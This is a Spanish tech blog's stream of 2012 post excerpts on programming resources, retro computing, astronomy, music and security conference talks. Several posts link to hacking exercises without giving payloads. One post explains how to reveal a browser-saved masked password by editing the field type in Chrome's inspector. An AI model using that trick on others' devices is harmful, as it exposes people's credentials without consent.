• Scalable Java Apps for Cable: Lessons from the Trenches
• Eclipse Xtend: A Language Made for Java Developers
• Java Robots and Automation with MAX
• How Java Helps Startups in Emerging Technologies and Markets
• Benefits of Java M2M Modules to the Ecosystem
• Building Large Java Projects Faster: Multicore javac and Makefile Integration
• Nashorn, Node, and Java Persistence
• What’s New in Servlet 3.1: An Overview
• Rendering in JavaFX with the New Canvas Feature
• HTML5 WebSocket and Java
• Pimp My RESTful Java Applications
• Lessons from Mathematics
• JPA 2.1 Tips, Tricks, and Examples
• Minecraft: Where the Next Million Java Developers Will Come From
• Oracle JDeveloper and Oracle ADF: What’s New
• IMP.next: A Profile for an Embedded World with Increasing Demands
• Developing Best Practices for Using Hudson CI
• CLDC7: The Java Platform for Feature Phones and Low-Footprint Embedded Devices
• A Tour of JavaFX Scene Builder
• From Instants to Eras, the Future of Time in Java
• Java Embedded Goes Modular: How to Build Your Custom Embedded Java Runtime
• JDBC Community Discussion
• Standardizing Web Flow Technology with JSF Faces Flows
• The Road to Lambda
• The Right Platform with the Right Technology for Huge Markets with Many Opportunities
• JavaFX 2: A Java Developer’s Guide
• What’s New in Java Message Service 2.0
• Sharding Middleware to Achieve Elasticity and High Availability in the Cloud
• Custom Charts
• Right Ways to Climb the OpenJDK Source Tree
• How Scala, Wicket, and Java EE Can Improve Web Development
• JSR 353: Java API for JSON Processing
• Evolution of JSR 177
• OpenJDK Penrose Project BOF
• The Contexts and Dependency Injection API: Next Steps for the Platform and Future Directions
• Java Strategy Keynote
• Best of Both Worlds: Java Persistence with NoSQL and SQL
• Accelerating Innovation in Healthcare Devices
• Batches: A Unified Approach to SQL, RPC, and Web Services
• Standardizing PaaS Application Management
• Java EE 7: Infinite Extensibility Meets Infinite Reuse
• Open Graph and Facebook APIs
• Building the Next Wave of Social Commerce Platforms
• Smart Grid Controller Powered by Java
• Java and M2M Services for Business Transformation
• Java PaaS: The Engine for Delivering Enterprise and Mobile Applications
• OSGI Resource and Remote Lifecycle Management for M2M and the Device Cloud
• PaaS-Enabling Java EE Applications Through Service Metadata and Policies
• Advanced Enterprise Architectures Using Open Source
• Patterns for Modularity: What Modules Don’t Want You to Know
• Java and OSGi: Enabling Smart Data on M2M Gateways and Aggregators
• NetBeans and JavaFX

Aburrirme no me voy a aburrir este fin de semana :)

Añadiendo unos libros a la colección

Ya hacía tiempo que no publicaba ninguna entrada con libros, así que aquí tenéis:

• Programming Windows 8 Apps with HTML, CSS, and JavaScript (Second Preview)
• Fundamentals of Electrical Engineering I
• Foundations of Databases
• An Introduction to Programming in Go
• The Data Journalism Handbook
• Probability and Statistics Cookbook
• Category Theory for Computing Science (PDF)
• Del Cloud al Big Data
• The CryptoParty Handbook
• Windows PowerShell Cookbook

Tutor de Python online

Muchos ya sabemos escribir algunas líneas de código y también sabemos lo fácil y rápido que se pueden escribir scripts sencillos en python. Si quieres dar un paso más y no sólo saber tirar líneas de código, sino además saber como se mueven los datos por la memoria, los objetos que se crean, sus punteros, etc. entonces Online Python Tutor es para ti. Es una herramienta genial, online y gratuita en la que puedes escribir, probar y depurar tus programas. Además, lo que más me ha gustado de la misma, es que puedes ver de forma gráfica los objetos y marcos de memoria (frames) que va creando tu programa. Es ideal sobre todo para depurar tus programas.

La primera nebulosa vista en 3D

Se ralentiza al principio. Son ~7 mb y tarda en cargar. 

La nebulosa se llama IC1396 y está a 2000 años luz de distancia, en la constelación de Cefeo. El fotógrafo es JP Metsävainio y realiza un supuesto 3D intercalando fotografías y realizando cálculos de movimientos con las estrellas principales, la brillante de arriba es mu Cephei, una gigante roja supermasiva. Sus gases son azules en el interior (Oxígeno) y rojos en el exterior (Hidrógeno) estas coloraciones indican también que tipos de estrellas coexisten en la nebulosa ya que algunas ionizan los gases y modifican su color.

Pantalla azul de la muerte (Infografía)

Fuente

Matemáticas y programación

Creación de una "cueva" usando un algoritmo explicado en el artículo llamado: The Cellular Automaton Method for Cave Generation

Excelente blog llamado:

Math ∩ Programming

En él puedes encontrar artículos donde explican primero conceptos y algoritmos matemáticos y luego  su respectiva implementación en un lenguaje de programación.

Desde árboles de decisión pasando teoría sobre el Page Rank de Google y también con artículos curiosos como este llamado Learning Programming-Finger Painting and Killing Zombies.

Pero el que más me ha gustado es: The Cellular Automaton Method for Cave Generation. En él se explica cómo realizar cuevas para mazmorras de juegos de aventuras usando autómatas celulares. Genial.

Domingo por la mañana, Blanck Mass, Sundowner

Blanck Mass. ¿No os suena un poco a Fuck Buttons? ;)

Consejos para usar el ordenador y el smartphone

Dos imágenes valen más que mil palabras ;)

Para aquellos que pasamos muchas horas delante del ordenador y del teléfono móvil, nunca viene mal recordar estos consejos para no dejarnos la vista ni el cuello.

Visto en LifeHacker.

La batalla de Hoth del Imperio Contraataca, …

Fotograma a fotograma …

Visto en HTG.

Er docu der finde: La edad de oro del software …

 

De parte mi colega tuxotron, aquí tenéis un nuevo documental de los viernes.

Esta vez trata sobre aquellos buenos tiempos de la época dorada del software español.

Seguro que todos recordamos juegos como Profanation, La Abadía del crímen, Sir Fred, Camelot Warrios … etc, qué tiempos :_)

Esperamos que os guste.

La presentación del Commodore Amiga 1000 en 1985 y …

Oyendo el podcast Retroactivos, en su número 18 hablan del Commodore Amiga 1000 (el primer modelo de Commodore Amiga, el 500 vino después), y realmente me ha impresionado su historia.

Primero os recomiendo que os bajéis el podcast desde su web aquí o lo veáis online:

Luego no os perdáis los vídeos (son 5) de presentación oficial del Commodore Amiga en 1985:

Visita a Bletchley Park, segunda parte

click sobre las fotos para ver la galería completa

Aquí tenéis la segunda parte (aquí tienes la primera).

Destacar Hut 8, la cabaña donde trabajó Alan Turing, donde verás su despacho.

El resto es de Colossus.

Espero que os haya gustado.

Otro bebé se suma a la familia CyberHades

Nuestro querido amigo Alberto (más conocido como DuenD) fue papá de un niño ayer por la tarde.

Enhorabuena compañero, y para que vaya educándose como buen geek (igual que su padre), le vamos a regalar el osito de Alan Turing, llamado “Porgy” (que usaba para practicar sus charlas en público).

Un abrazo muy fuerte desde CyberHades (te queremos Alberto).

Domingo por la mañana, quédate un poco más en la …

Grandes, como siempre, Hammock.

Wikipedia.

Visita a Bletchley Park, primera parte

Click sobre las fotos para ver la galería completa

Primera galería con las fotos que hicimos este verano en nuestra visita a Bletchley Park en Inglaterra. Hemos puesto un nombre descriptivo a cada foto para que podáis identificarlas. De todas formas, si queréis más información no dudéis en comentarla.

He estado muchas veces en Londres, y siempre había pensado en acercarme a Bletchley, que está sólo a 64Km, pero nunca me había animado a ir. Este verano aprovechando una visita a un amigo que se casaba al día siguiente, el 31 de Agosto, que era viernes,  nos fuimos allí.

Asegúr@IT Camp 4, nos vemos en el campo de …

Este año volvemos a ir al Asegúr@IT Camp.

Pasaremos dos días rodeado de buenos amigos como Niko (nos presentará, aparte de dar otra charla magistral, un nuevo capítulo de Cálico) ó Chema, hablando de temas que a todos nos gustan como la comida, bebida y algo de informática ;).

Pero esta vez también daremos una pequeña charla.

Mi colega tuxotron y yo vamos a hablar sobre algunas de nuestras MicroHistorias. Hemos seleccionado algunas de ellas y seguro que pasarás un rato divertido escuchando anécdotas en las que aparecen desde Bill Gates, Steve Jobs, Alan Turing, Steve Wozniak, Kevin Mitnick y muchos más . Pero no serán las típicas historias que ya todo el mundo conoce, hemos rebuscado y buceado para ofreceros hasta el último detalle de ellas. Si tenemos que poner código y esquemas electrónicos, los pondremos.

Er docu der finde: Historia de los motores

La historia del jugador ciego del WoW y su "perro" …

Impresionado me he quedado al leer esta historia y más todavía al ver la reacción de Blizzard.

Todos conocéis WoW (World of Warcraft),  bueno pues existe una banda (ó guild)  llamada Die Safe donde uno de sus integrantes es ciego. Se llama Ben Shaw y su ocupación era soldado británico hasta que perdió la vista en un ataque mientras estaba en Irak. Perdió los dos ojos en una operación para salvarlos, quedándose completamente ciego. Pero Ben no se desanimó y empezó a hacer cosas que normalmente no se pueden hacer si eres ciego, como por ejemplo conducir un coche. Y entre esas cosas está también seguir jugando al WoW. Su personaje se llama Hexu y es de la clase chamán.

Como ver una contraseña con asteriscos en el …

Este vídeo te lo explica de forma sencilla con Google Chrome.

Simplemente tienes que seleccionar la contraseña, botón derecho y luego “Inspeccionar elemento”.

Aparecerá el debugger de Chrome con una línea resaltada.

Busca type=“password” y cámbialo por type=“text”

Ya podrás ver el texto de la contraseña en vez de los asteriscos.

No odies Windows 8 (Infografía)

Source: http://FrugalDad.com

Una página 404 más productiva

El error 404 en el protocolo HTTP significa que el recurso que buscamos no se ha podido encontrar. Y cuando esto ocurre normalmente el servidor web nos devuelve una página diciendo que el recurso no se ha podido encontrar, valga la redundancia ;). Esta página especial no es más que otra página web y por consiguiente la podemos modificar y/o personalizar. De hecho esto se ha convertido en todo un “arte” y son muchos los sitios web que tienen personalizada su página 404.

Steve Wozniak haciendo cola para comprar su iPhone …

Como un campeón (en una tienda de Australia) , aunque creo que no le haría falta hacer cola para conseguir su iPhone 5, sigue teniendo acciones y además sigue siendo un empleado de Apple.

Pero bueno, supongo que le gustará estar al lado de la gente.

Grande como siempre.

Foto  vista aquí.

Espectacular fotografía del cielo nocturno

Y por lo tanto también de la Vía Láctea. Nick Risinger ha recorrido casi 100.000Km para hacer esta espectacular panorámica (realizó 37.440 fotografías) con colores reales donde aparecen planetas, estrellas, la Vía Láctea y otras galaxias como Orión.

La imagen ocupa 5GB (no he encontrado un sitio de descarga), sólo he localizado una a 1.920x1080 (buena para un fondo de pantalla).

El autor comenta que la ha realizado para fines educativos y que piensa realizar algunas aplicaciones con ella.

Jugando con secretos

Normalmente no solemos poner vídeos / documentales en inglés, pero esta serie de vídeos que os voy dejar aquí explican de forma gráfica y sencilla distintos aspectos sobre criptografía. Acabo de ver el último vídeo, sobre como funciona el cifrado RSA y es genial. La serie se titula Gambling with secrets y está compuesta por ocho vídeos:

Parte 1/8 - What is Cryptography?

Parte 2/8 - Prime Factorization

Parte 3/8 - Probability Theory & Randomness

Parte 4/8 - Private Key Cryptography

Parte 5/8 - Encryption Machines

Parte 6/8 - Perfect Secrecy & Pseudorandomness

Parte 7/8 - Diffie-Hellman Key Exchange

Parte 8/8 - RSA Encryption

Por cierto puedes activar los subtítulos en inglés.

Domingo por la mañana, Animal Collective, In the …

Genial canción y vídeo de Animal Collective.

Ojo al cambio en el minuto 2:35, alucinante.

Aprende HTML5, CSS3 y Javascript... mirando

Para mi la mejor forma de aprender es ponerse manos a la obra y hacer por uno mismo lo que tengamos que hacer. Pero antes de poder ponernos a hacer nada, por lo menos en temas de programación, uno tiene que leer un poco antes o por lo menos ver como otros desarrollan una tarea parecida a la nuestra.

Desde mi punto de vista el leer sobre como funciona la plataforma o tecnología sobre la que vamos a trabajar es fundamental, pero también ayuda ver algún ejemplo.

La revista BYTE ahora está disponible online

La revista BYTE, para los más viejos del lugar, fue una de las revistas de referencia dedicadas al ordenador personal o como se denominaba antiguamente, a la micro informática.

Esta publicación vio la luz en septiembre de 1975 y su última publicación se lanzó en julio de 1998. Sólo se publicó en inglés, pero universidades y librerías especializadas las importaban en España.

Como dije su último número se publicó en 1998, pero la buena noticia para los nostálgicos es que ahora puedes acceder a ella desde archive.org. Puedes leearla desde el navegador o bajártela en varios formatos distintos.

The MagPI #5

En este nuevo número de esta magnífica revista enfocada al Raspberry Pi, podemos entrar el siguiente contenido:

• STEADY HANDS
  • Are your hands stready enough to beat the Pi? by Mike Cook
• ENVIRONMENTAL MONITORING
  • Track temperature fluctuations. by Duncan Rowland.
• WHAT'S ON GUIDE & COMPETITION
  • Find out where Raspberry Jams' are happening and win a starter kit
  • XBMC: Raspbmc and OpenELEC
  • Get to grips with your media centre setup. by Colin Deady
• SQUEEZE VS WHEEZY
  • Improvements and changes. by Jaseman
• COMMAND LINE CLINIC
  • Learn how to backup important data. by Bobby (bredman) Redmond
• C CAVE
  • Functions, pointer and text file encryption. by W. H. Bell & D. Shepley
• THE SCRATCH PATCH
  • Program your own Simon says game. by Antiloquax
• 48HR RASPITHON
  • Ben, Luke, Ryan and Edward recount their python challenge.
• THE PYTHON PIT
  • Gradient fills, and using maths to plot points of a circle, by Jaseman

Podéis descargárosla (PDF) desde:

• MIRROR 1
• MIRROR 2
• MIRROR 3
• MIRROR 4

Er docu der finde: CERN Catedrales de la ciencia

Clásicos de Atari jugables desde el navegador

Desde Atari Arcade, podemos jugar a 8 clásicos reescritos en HTML y Javascript, es decir, jugables desde el navegador (Chrome me dio problemas, pero con Firefox funcionan muy bien. Deduzco que IE también funciona bien, ni idea sobre el resto).

Los juegos disponibles son:

• Pong
• Asteroids
• Missile Command
• Super Breakout
• Lunar Lander
• Combat
• Centipede
• Yars’ Revenge

Pero lo mejor de todo no son los juegos en si (al menos para mi ;)), sino que Atari Arcade es además una plataforma de juegos, en la que puedes desplegar tus propios juegos. Para ello Atari pone a disposición un conjunto de librerías (javascript) y documentación donde nos explican como podemos crear nuestros propios juegos y desplegarlos en dicha plataforma.

Fuente

ClubHack Magazine 32

En el número de septiembre de ClubHack podemos encontrarnos con el siguiente índice:

0x00 Tech Gyan - The Compliance Storm on the Horizon: Seeing through the Cloud of GRC 0x01 Tool Gyan - Cracking WPA/WPA2 for Non-Dictionary Passphrase 0x02 Mom’s Guide - Digital Signature 0x03 Legal Gyan - Landmark cases decided by the Indian courts 0x04 Matriux Vibhag - theHarvester: Intelligence Gathering 0x05 Poster - “Data is precious as Gold”

¿Se puede destruir Internet?

(Imagen vista aquí)

No es fácil pero parece que no es imposible. Destruir el núcleo de Internet y conseguir dejarla inoperativa, sería unos de los actos terroristas o de guerra más devastadores de la historia.

De hecho ya se han atacado los nodos más importantes de DNS con ataques tipo Denegación de Servicio (DoS). Estos equipos son críticos para el funcionamiento de Internet. Aquí tienes una relación de esos ataques contra DNS raíz. Es una amenaza seria pero actualmente están bastante bien adaptados para soportar este tipo de ataques.

Vídeo tutoriales sobre Forth con Atari FIG-FORTH

En este canal de youtube podéis encontrar 10 vídeo tutoriales sobre el lenguaje de programación FORTH con Atari FIG-FORTH.

• Introducing FIG-Forth on the Atari 8-bit
• Atari FIG-FORTH: About Screens
• Atari FIG-FORTH - Editing Screens
• Atari FIG-FORTH: Making More Useful Words
• Atari fig-FORTH: Showing the Stack
• Atari fig-FORTH: Manipulating the Display List - Part 1
• Making Atari fig-FORTH Tools - ANTIC Disassembler 1 of 4
• Making Atari fig-FORTH Tools - ANTIC Disassembler 2 of 4
• Making Atari fig-FORTH Tools - ANTIC Disassembler 3 of 4
• Making Atari fig-FORTH Tools - ANTIC Disassembler 4 of 4

Historia de Linux (Infografía)

Fuente

Internacionalización: Manual de Comercio …

Hay que tener en cuenta en que países vendes online: las tasas de aduanas de algunos mercados son tan altas que puedes terminar pagando más de lo que cobras por la venta. 

Las plataformas de software para brokers (fxcmespanol) NO solo sirven para especular en los mercados, si no también para conocer la divisa actualizada del país donde se quiere vender para no tener pérdidas en el cambio de moneda.

Curso de programación de juegos arcade en Python

En cyberhades nos gustan las cosas retro y sobre todo aprender. Por ello aquí os traemos otra entrada para aquellos apasionados de la programación o aquellos que quieran aprender a programar. Nada como aprender jugando y nada más satisfactorio que jugar a tu propio juego.

En este magnífico sitio sobre programación de juegos arcade podemos encontrar un completísimo tutorial de como crear tu propio juego usando el lenguaje de programación Python. Está compuesto de 21 capítulos. El índice es el siguiente:

Más ejercicios prácticos sobre seguridad

El otro día publicamos una entrada relacionada a un ejercicio práctico sobre inyección de SQL, terminando ganado acceso a una shell del sistema.

En la misma web, pentesterlab han publicado varios ejercicios más de este tipo, pero enfocados a distinto tipos de vulnerabilidades. Los ejercicios hasta ahora disponibles son:

• CVE-2012-1823: PHP CGI
• PHP Include And Post Exploitation
• CVE-2012-2661: ActiveRecord SQL injection
• Introduction to Linux Host Review
• Rach Cookies and Commands Injection (No disponible todavía)
• Además del que ya os hablamos From SQL injection to shell

Nada, ¡a seguir aprendiendo!

Fuente

10 misteriosos textos cifrados de los que aún no …

Escultura Kryptos en la CIA

Esta es una recopilación de la web MotherNatureNetwork (artículo original) de diez textos a lo largo de la historia de los cuales aún no sabemos qué nos querían trasmitir.

Manuscrito Voynich: ya hemos hablado alguna vez de él, este texto de 240 páginas está escrito en un lenguaje desconocido hasta hoy. Está lleno de coloridos diagramas y dibujos de plantas extrañas desconocidas. La datación por carbono revela una fecha de creación entre 1404 y 1438. Lo único en lo que están de acuerdo los investigadores es que no es un engaño. Hacer ese tipo de documento en 1400 no era fácil y requería bastante dinero. Los posibles autores son bastante conocidos como John Dee o incluso Roger Bacon. Más información aquí , en Wikipedia.

American Girl, Tom Petty, un clásico para esta …

"..Oh, Yeah, Oh Right

Take it easy baby,

Make it last all night.."

Letra en inglés y traducida.

Grande, una de mis canciones favoritas de Tom Petty.

Nuevo trailer de Rompe Ralph, la nueva película de …

Rompe Ralph se estrenará el 25 de Diciembre.

Diferencia entre el internet actual y el de hace …

Fuente

Er docu der finde: Secretos de la Segunda Guerra …

Referencia completa de las librerías estándar de C …

Esta web es posiblemente una de las mejores referencias que podemos encontrar online cuando buscamos información sobre alguna función de alguna de las librerías estándar de C o C++, incluyendo el nuevo C11.

Una referencia para tener a mano, incluso si tocas C o C++ de vez en cuando.

Fotos del interior de oficinas de empresas …

Alguna vez en CyberHades hemos publicado fotos de algunas oficinas de empresas del sector informático.

Nuestra web favorita para ojear estas impresionantes instalaciones es:

OfficeSnapshots

En su web principal tienen empresas de todos los sectores, y además han actualizado bastante el número de oficinas.

No sólo hay empresas de informática, pero realmente estas son las que nos interesan:

Empresas de Hardware/Software

Empresas de Videojuegos

Empresas de Hosting 

Todos los diálogos de Chewbacca en La Guerra de …

Click en la imagen para ampliar

Nos vamos superando en frikadas vistas por Internet ;)

Lo encontramos en HTCRU

Microhistorias: Los US Festivals de Steve Wozniak

Quizás no sabes que Steve Wozniak además de ser cofundador de Apple, financió de su propio bolsillo, dos tremendos festivales de música al más estilo Woodstock. El primero se celebró en 1982 y el segundo en 1983 ambos en Glen Helen Regional Park, cerca de Devore, San Bernardino, California. Los organizó justo después de su vuelta a Apple tras el accidente de avión que casi le cuesta la vida y que le hizo reconsiderar muchas cosas (entre ellas su trabajo en Apple). No sólo eran conciertos de música, también eran lugares donde presentar lo último en ordenadores, programas y otros dispositivos electrónicos. Un encuentro de la tecnología y la música (aunque viendo las imágenes parece que esto no importaba demasiado, la gente iba a ver los conciertos).

¿Podría un huracán destruir internet? (Infografía)

Fuente

Ejercicio práctico: desde la inyección de SQL …

Nada como un ejercicio práctico para aprender por uno mismo. En cuestiones de explotación de aplicaciones web nada como jugar a algún wargame, montarte tu propio sistema vulnerable y buen libro, asistir a alguna clase con algún laboratorio de prácticas, etc o buscarte algún tutorial por la web.

Este último, es el caso de este ejercicio práctico titulado: From SQL Injection to shell, cuya traducción sería más o menos: Desde la inyección de SQL hasta el terminal.

Plantillas sobre GNU Coreutils y Util Linux

Peteris Krumins de Cantoman ha creado dos plantillas o chuletas que nos pueden venir muy bien a los usuarios de GNU/Linux. Una trata sobre las GNU Coreutils y la otra sobre las Util-Linux. Son muy simples, pero como guía rápida nos puede venir muy bien.

La plantilla util-linux la puedes bajar en distintos formatos: PDF | PNG | XLSX

La de GNU Coreutils la tienes en los mismos formatos: PDF | PNG | XLSX

Domingo por la mañana, algo tranquilo, Epic45, …

Epic45

Er docu der finde: Mentes brillantes "los secretos …

Ejercicios C++

Uno de los libros de referencia en lo que respecta a C++ es “The C++ Programming Language”, escrito por el mismísimo Bjarne Stroustrup, creador de dicho lenguaje.

A través de los capítulos del libro nos encontramos con distintos ejercicios a resolver, muy recomendables de hacer si estás aprendiendo. Precisamente para aquellos que estén aprendiendo el lenguaje y necesitan ayuda, en este repositorio de Gitub puedes encontrar la mayoría de los ejercicios resueltos.

Tutorial Unix / Linux para principiantes

Completo tutorial gratuito (en inglés) para ver online o descargarte (aquí):

Introduction to the UNIX Operating System

• What is UNIX?
• Files and processes
• The Directory Structure
• Starting an UNIX terminal

Tutorial One

• Listing files and directories
• Making Directories
• Changing to a different Directory
• The directories . and ..
• Pathnames
• More about home directories and pathnames

Tutorial Two

• Copying Files
• Moving Files
• Removing Files and directories
• Displaying the contents of a file on the screen
• Searching the contents of a file

Tutorial Three

• Redirection
• Redirecting the Output
• Redirecting the Input
• Pipes

Tutorial Four

• Wildcards
• Filename Conventions
• Getting Help

Tutorial Five

• File system security (access rights)
• Changing access rights
• Processes and Jobs
• Listing suspended and background processes
• Killing a process

Tutorial Six

• Other Useful UNIX commands

Tutorial Seven

• Compiling UNIX software packages
• Download source code
• Extracting source code
• Configuring and creating the Makefile
• Building the package
• Running the software
• Stripping unnecessary code

Tutorial Eight

• UNIX variables
• Environment variables
• Shell variables
• Using and setting variables

Reflexiones y un poco de historia sobre el correo …

En este artículo de ReadWriteWeb el creador del email, Ray Tomlinson nos habla un poco sobre el nacimiento y futuro del correo electrónico.

En Otoño de 1971 Tomlinson envió el primer email  usando SNDMSG, un programa que se ejecutaba en un ordenador digital PDP-10. El los años 60 ya existía algo parecido a los emails pero tipo post-it y sólo para diferentes usuarios dentro del mismo ordenador. Tomlinson lo modificó para que estos mensajes se pudieran enviar también entre ordenadores ubicados en otras redes (usando la red en la cual estaba trabajando llamada Arpanet). De esta forma nació el correo electrónico.

Los mandamientos para optimizar el tiempo de carga …

Fuente

Os debo un domingo por la mañana, 65DaysOfStatic, …

65DaysOfStatic

Los proyectos más duplicados en Github …

Fuente

Desarrolla tu propio sistema operativo para …

Para aquellos que os interese la programación sistemas operativos, nada mejor que empezar sobre una plataforma sencilla y por su sencillez y precio nada como un Raspberry Pi.

En este link de la Universidad de Cambridge podemos encontrar un curso de como crear un sistema operativo simple sobre un Raspberry Pi usando lenguaje ensamblador. Aunque para el curso no se necesitan conocimientos previos sobre sistemas operativos, a bajo nivel o incluso conocimientos de ensamblador, sí que se aconseja el menor tener conocimientos sobre programación.

Libros gratuitos sobre Python

Seguro que muchos o todos ellos ya los hemos publicado en nuestras entradas de libros, pero para los apasionados por Python, aquí os dejo una lista libros gratuitos exclusivamente sobre Python:

• How to Think Like a Computer Scientist: Interactive Edition
• Problem Solving with Algorithms and Data Structures Using Python
• Learn Python The Hard Way
• Dive into Python (2004)
• Dive into Python 3
• Think Python
• Kivy programming Guide
• Django Tutorial
• Pyramid for Humans
• Flask microframework
• Making games with Python and Pygame
• A byte of Python
• Python 101 - Introduction to Python
• The Standard Python Library
• Snake Wrangling for Kids
• Programming Computer Vision with Python
• Natural Language Processing with Python
• Think Complexity
• Think Stats
• Python Module of the week
• An introduction to Python
• Building skills in Programming
• Building skills in Python
• Building skills in OOP
• Python Scientific lecture notes
• Programmez avec Python 2 (francés)
• Programmez avec Python 3 (francés)

Fuente

Er docu der finde: Moon Rising-Luna Creciente …

Poder a la población online (Infografía)

Created by: Open-site.org

Presentaciones y vídeos de Cassandra Summit 2012

La tercera conferencia orientada a la comunidad de Apache Cassandra celebrada a principios de este mes de agosto, ponen a disposición los vídeos y las presentaciones (PDF) de todas las charlas que se dieron. Muy buen material.

• The State of Cassandra, 2012 presentación - Vídeo
• 1, 2, 3, 4, Add Another Data Store presentación - Vídeo
• Big Data at Disney presentación - Vídeo
• Building a Cassandra Based Application from Scratch presentación - Vídeo
• Buy It Now! Cassandra at eBay presentación - Vídeo
• Cassandra – A Foundation for Real-time Big Data Applications at Reltio presentación - Vídeo
• Cassandra at Apigee Usergrid: Powering Mobile presentación - Vídeo
• Cassandra at Telco Scale – Big Data, Mobile Apps, Optimized Footprint, and A/A Resiliency presentación - Vídeo
• Cassandra in Action: Solving Big Data Problems presentación - Vídeo
• Cassandra in Rackspace Cloud Monitoring presentación - Vídeo
• Cassandra Performance and Scalability on AWS presentación - Vídeo
• Cassandra Plus Solr presentación - Vídeo
• Columns Enough and Time – Using Cassandra for a Time Series Analytical Repository presentación - Vídeo
• CQL, and the Road to Redemption presentación - Vídeo
• presentación - Vídeo
• End-to-end Analytic Workflows With Cassandra presentación - Vídeo
• Hastur: Open-Source Scalable Metrics presentación - Vídeo
• Increasing Your Prospects: Cassandra in Online Advertising presentación - Vídeo
• Moving at the Speed of Markets presentación - Vídeo
• Servers Fail, Who Cares? presentación - Vídeo
• Take Any App to the Cloud of your Choice presentación - Vídeo
• Technical Deep Dive: Cassandra + Solr presentación - Vídeo
• Technical Deep Dive: Data Modeling presentación - Vídeo
• Technical Deep Dive: Query Performance presentación - Vídeo
• Technical Deep Dive: Secondary Indexes presentación - Vídeo
• Titan: Big Graph Data with Cassandra presentación - Vídeo
• Unlocking the Value of Big Data presentación - Vídeo
• Using Cassandra in an S3 Cloud Storage System presentación - Vídeo
• Virtual Nodes – Operational Aspirin presentación - Vídeo
• We Messed Up, So You Don’t Have to presentación - Vídeo
• Why Architecture Matters (No, Really) presentación - Vídeo
• Actuate: From Data to Insights, presentación - Vídeo
• M2M with Cassandra, presentación - Vídeo
• Scaling MongoDB with Cassandra, presentación - Vídeo
• DataStax Enterprise, presentación - Vídeo
• Cassandra on ACID, presentación - Vídeo
• Reporting and Analytics on Cassandra, presentación - Vídeo
• Upcoming Changes in Drivers, presentación - Vídeo
• Astyanax: Hector’s Smart-ass Son, presentación - Vídeo
• Toad for Cloud: How to write SQL against Cassandra, presentación - Vídeo
• Node.js and Cassandra (Helenus), presentación - Vídeo

Presentaciones de la Crypto 2012 rump

Listado de las presentaciones (PDF) de la Crypto 2012 rump:

• Welcome to the rump session
• IACR 2012 Fellows Induction Ceremony
• Celebrating the 25th year of FEAL - A new prize problem
• The relevance of the Chinese Lotto: 25 years outsourcing of cryptanalysis
• Improved Key Recovery Attacks on Reduced-Round AES
• The End of Encryption based on Card Shuffling
• Perfect Hellman Tables using Bloom Filters
• Entropy
• Online movies that cannot be copied
• Double blind reviewing in IACR conferences, revisited
• Does the ePrint Archive hurt Cryptographers?
• The end of crypto
• The Security of Very Dense Cryptography
• Open Source Implementations of Hash Functions in an Atmel AtTiny45
• SHA--3 Update & NIST Thank You
• Edwards Curves and Fault Attacks
• COTORI(TM): Cryptosystems On TORI
• Breaking Pairing-based Cryptosystems using $\eta_T$ Pairing over $GF(3^{97})$
• Synthesis of OWF-based Encryption Schemes
• Attribute-Based Encryption from Lattices
• Efficient (Hierarchical) Inner Product Encryption Tightly Reduced from the Decisional Linear Assumption
• Padding Oracles Revisited
• The case of the RSA FUCK-A-DUCK certificate
• Cryptography in the Streaming Model
• Midgame Attacks
• Coalition between Bob and Eve in the Man In The Middle Attack
• Publicly Verifiable Delegation of Large Polynomials and Matrix Computations
• How Useful are Random Oracles?
• Positive results for concurrently secure computation in the plain model
• PKC + MPC + Internet voting implies ``secret endorsements'', or, how politicians can keep their friends
• CryptINKgraphy
• Random-Sample Elections: Far lower cost, better quality and more democratic

Fuente

Vale, ahora que Apple le pague a Palm por copiar, …

(foto vista aquí)

¿Estamos locos o qué?, antes de seguir os recomiendo (si no lo habéis leído) este post que escribí hace unos meses: Apple, antes molabas.

Mientras muchos algunos fanboys de Apple aplauden con entusiasmo y alegría  la decisión de multar a Samsung por supuestamente "copiar" un diseño (<sarcasmo on> algo que Apple nunca ha hecho ¿verdad? <sarcasmo off>)  cabe recordar algunas cosas para refrescar la memoria y sobre todo, las consecuencias que esto puede tener para la industria informática.

Buen viaje Mr. Armstrong ...

Ha fallecido Neil Armstrong, el primer hombre que pisó la Luna y  uno de los héroes (quizás una de las personas más valientes que nunca han existido, igual que todos los astronautas que viajaron a la Luna) de la Humanidad.

Buen viaje, seguro que antes de explorar el Universo se pasará de nuevo un ratito por la Luna…

Llegó el domingo por la mañana y hoy escuchamos a …

The American Analog Set

Panorámica en color y en alta resolución de la …

A la zona de aterrizaje de Curiosity se le ha bautizado como Bradbury con mucho acierto. Ya podemos contemplarla en alta resolución (29212x10992) para admirar la belleza del planeta rojo (botón derecho para descargarla):

• Full Resolution (29212 x 10992) ( 67MB )
• Half Resolution (14606 x 5496) ( 15MB )
• Quarter Resolution (7303 x 2748) ( 3MB )
• Eighth Resolution (3651 x 1374) ( 794kB )

Por otro lado parece que se confirma que la mancha en el horizonte que captó la sonda en el aterrizaje, era en efecto una nube de polvo provocada por el impacto de la grúa espacial que lo posó suavemente en la superficie:

Vídeos y presentaciones de la Hack in Paris 2012

Pues eso, como el título indica, se han publicado tanto los vídeos como las presentaciones de la Hack in Paris celebrada en Junio.

• SCADA Security: Why is it so hard ? - Video - Presentacion
• PostScript: Danger ahead ! - Video - Presentacion
• Got your Nose ! How to steal your precious data without using scripts - Video - Presentacion
• What are the new means for cybercriminals to bypass and evade your defenses ? - Video - Presentacion
• Attacking XML Processing - Video - Presentacion
• Weapons of Max Destruction V4 - Video - Presentacion
• Human Hacking - Video - Presentacion
• Bypassing the Android permission model - Video - Presentacion
• Results of a Security Assessment of the Internet Protocol version 6 (IPv6) - Video - Presentacion
• Keynote: Where Are We And Where Are We Going - Video - Presentacion
• Keynote: Measuring Risk with Time Based Security - Video - Presentacion
• A bit more of PE - Video - Presentacion
• "Securing the Internet: YOU’re doing it wrong" (An INFOSEC Intervention) - Video - Presentacion
• HTML5: Something wicked this way comes - Video - Presentacion
• Questions and Answers : Panel Defensive Nature - Video
• Questions and Answers : Panel offensive Nature - Video

Enlace original

Er docu der finde: NEUROMARKETING entendiendo al …

Dando los primeros pasos en "comunity mannagement" …

¿Crees conocer a la gente?

Sin duda alguna, una de las mejores infografías que he visto.

Si quieres ser comunity mannagement o realizar ecommerce debes aprender a desglosar e interpretar correctamente esta infografía. Ahí donde la ves, tan poquita cosa, te da las claves del éxito para tu comercio online. Todo un arte, sin duda, que requiere de mucho tiempo y esfuerzo, a veces sin recompensa.

Link

Haciendo phishing artesanal con Google Docs

Me ha hecho mucha gracia este correo que ha recibido mi novia hoy mismo y que os detallo (haz click para ampliarlo):

